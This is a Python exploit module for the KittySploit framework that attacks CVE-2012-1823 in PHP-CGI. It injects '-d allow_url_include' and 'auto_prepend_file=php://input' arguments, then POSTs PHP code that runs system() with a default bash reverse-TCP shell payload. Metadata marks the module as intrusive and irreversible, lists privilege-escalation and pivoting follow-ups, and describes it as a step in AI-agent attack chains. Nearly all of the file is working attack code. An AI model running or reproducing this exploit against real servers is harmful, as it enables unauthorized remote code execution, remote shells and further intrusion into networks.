PHP-CGI Argument Injection RCE (CVE-2012-1823)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "PHP-CGI Argument Injection RCE (CVE-2012-1823)",
        "description": (
            "Exploits legacy PHP-CGI argument injection by setting allow_url_include and "
            "auto_prepend_file=php://input, then posting attacker-supplied PHP code."
        ),
        "author": ["eindbazen", "KittySploit Team"],
        "cve": "CVE-2012-1823",
        "platform": Platform.UNIX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://www.exploit-db.com/exploits/18836",
            "https://www.cve.org/CVERecord?id=CVE-2012-1823",
        ],
        "tags": ["php", "cgi", "rce", "argument-injection"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    target_path = OptString("/index.php", "Path to PHP-CGI entrypoint", required=False)
    php_code = OptString("", "Raw PHP code to execute (overrides payload)", required=False)
    marker = OptString("KS20121823", "Marker used to verify command execution", required=False, advanced=True)
    blind = OptBool(False, "Treat HTTP 200/500 as success even when no output is returned", required=False, advanced=True)

    CGI_ARGS = "?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

    def _path(self) -> str:
        path = str(self.target_path or "/index.php").strip()
        if not path.startswith("/"):
            path = "/" + path
        return f"{path}{self.CGI_ARGS}"

    @staticmethod
    def _wrap_php(code: str) -> str:
        body = (code or "").strip()
        if body.startswith("<?"):
            return body
        return f"<?php {body} ?>"

    def _payload_php(self) -> str:
        custom = str(self.php_code or "").strip()
        if custom:
            return self._wrap_php(custom)
        command = str(self.payload).strip() if self.payload else ""
        if not command:
            return ""
        return self._wrap_php(f"system({command!r});")

    def _request(self, body: str):
        return self.http_request(
            method="POST",
            path=self._path(),
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=max(int(self.timeout or 10), 10),
            allow_redirects=False,
        )

    def check(self):
        marker = str(self.marker or "KS20121823")
        response = self._request(self._wrap_php(f"echo {marker!r}; die;"))
        if response and marker in (response.text or ""):
            return {"vulnerable": True, "reason": "PHP-CGI marker executed", "confidence": "high"}
        if response and response.status_code in (200, 500) and self.blind:
            return {"vulnerable": True, "reason": "Blind probe reached PHP-CGI endpoint", "confidence": "medium"}
        return {"vulnerable": False, "reason": "Marker probe did not execute", "confidence": "low"}

    def run(self):
        body = self._payload_php()
        if not body:
            print_error("No php_code provided and payload generation failed")
            return False
        response = self._request(body)
        if not response:
            print_error("No response from target")
            return False
        if response.status_code in (200, 500):
            print_success(f"PHP-CGI payload posted; HTTP {response.status_code}")
            if response.text:
                print_info((response.text or "")[:2000])
            self.vulnerable()
            return True
        print_warning(f"Unexpected HTTP {response.status_code}")
        self.not_vulnerable()
        return False